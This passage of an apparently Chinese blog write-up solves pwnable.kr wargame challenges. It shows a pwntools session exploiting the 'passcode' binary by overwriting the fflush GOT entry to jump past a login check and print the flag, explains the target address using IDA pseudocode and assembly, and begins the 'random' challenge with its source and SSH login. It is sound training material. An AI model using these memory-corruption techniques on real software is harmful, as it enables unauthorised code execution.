</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">[*] &#39;/home/passcode/passcode&#39;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; <span class="nv">fflush</span> <span class="o">=</span> elf.got<span class="o">[</span><span class="s1">&#39;fflush&#39;</span><span class="o">]</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; <span class="nv">sys</span> <span class="o">=</span> 0x804928f
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; io.recvline<span class="o">()</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">b&#34;Toddler&#39;s Secure Login System 1.1 beta.\n&#34;
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; <span class="nv">payload</span> <span class="o">=</span> b<span class="s1">&#39;K&#39;</span>*96  + p32<span class="o">(</span>fflush<span class="o">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; io.sendline<span class="o">(</span>payload<span class="o">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; io.recvline<span class="o">()</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">b&#39;enter you name : Welcome KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK\x14\xc0\x04\x08!\n&#39;
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; io.sendline<span class="o">(</span>str<span class="o">(</span>sys<span class="o">))</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">&lt;stdin&gt;:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; io.recvall<span class="o">()</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">[x] Receiving all data
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">[x] Receiving all data: 0B
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">[*] Process &#39;./passcode&#39; stopped with exit code 0 (pid 1614511)
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">[x] Receiving all data: 125B
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">[+] Receiving all data: Done (125B)
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">b&#39;enter passcode1 : Login OK!\ns0rry_mom_I_just_ign0red_c0mp1ler_w4rning\nNow I can safely trust you that you have credential :)\n&#39;
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag：<code>s0rry_mom_I_just_ign0red_c0mp1ler_w4rning</code></p>
<p>tips：IDA里面伪代码是这样的：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="nf">login</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="n">__gid_t</span> <span class="n">v0</span><span class="p">;</span> <span class="c1">// esi
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="n">__gid_t</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [esp+8h] [ebp-10h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;enter passcode1 : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="nf">fflush</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;enter passcode2 : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;checking...&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">!=</span> <span class="mi">123456</span> <span class="o">||</span> <span class="n">v4</span> <span class="o">!=</span> <span class="mi">13371337</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Login Failed!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Login OK!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="n">v0</span> <span class="o">=</span> <span class="nf">getegid</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="n">v1</span> <span class="o">=</span> <span class="nf">getegid</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="nf">setregid</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="n">v0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="k">return</span> <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>可以看到if成功块是第19行的<code>puts(&quot;Login OK!&quot;);</code>。
如果对着<code>puts(&quot;Login OK!&quot;);</code>行按tab，定位汇编，会定位到调用puts函数的汇编，而之前的压参数等操作不好确认。此时<code>Ctrl A</code>全选伪代码，右键选择：<code>Copy to assembly</code>，就可以把对应伪代码贴到汇编窗口，一一对应，能够精确显示<code>puts(&quot;Login OK!&quot;);</code>代码是从哪一个地址开始的：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">.text:0804928F ; 19:   puts(&#34;Login OK!&#34;);
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">.text:0804928F                 sub     esp, 0Ch
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">.text:08049292                 lea     eax, (aLoginOk - 804C000h)[ebx] ; &#34;Login OK!&#34;
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">.text:08049298                 push    eax             ; s
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">.text:08049299                 call    _puts
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">.text:0804929E ; 20:   v0 = getegid();
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">.text:0804929E                 add     esp, 10h
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">.text:080492A1                 call    _getegid
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">.text:080492A6                 mov     esi, eax
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">.text:080492A8 ; 21:   v1 = getegid();
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">.text:080492A8                 call    _getegid
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">.text:080492AD ; 22:   setregid(v1, v0);
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">.text:080492AD                 sub     esp, 8
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">.text:080492B0                 push    esi             ; egid
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">.text:080492B1                 push    eax             ; rgid
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">.text:080492B2                 call    _setregid
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">.text:080492B7 ; 23:   return system(&#34;/bin/cat flag&#34;);
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">.text:080492B7                 add     esp, 10h
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">.text:080492BA                 sub     esp, 0Ch
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">.text:080492BD                 lea     eax, (aBinCatFlag - 804C000h)[ebx] ; &#34;/bin/cat flag&#34;
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">.text:080492C3                 push    eax             ; command
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">.text:080492C4                 call    _system
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">.text:080492C9                 add     esp, 10h
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">.text:080492CC                 jmp     short loc_80492EA
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">.text:080492CE ; ---------------------------------------------------------------------------
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>成功地址也是0x0804928F</p>
<h3 id="random">random<a class="anchor" href="#random">#</a></h3>
<blockquote>
<p>Daddy, teach me how to use random value in programming!</p>
<p>ssh <a
  href="mailto:random@pwnable.kr"
  >random@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>source code :</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">random</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="n">random</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>        <span class="c1">// random value!
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">key</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="p">(</span><span class="n">key</span> <span class="o">^</span> <span class="n">random</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xcafebabe</span> <span class="p">){</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Good!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Wrong, maybe you should try 2^32 cases.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
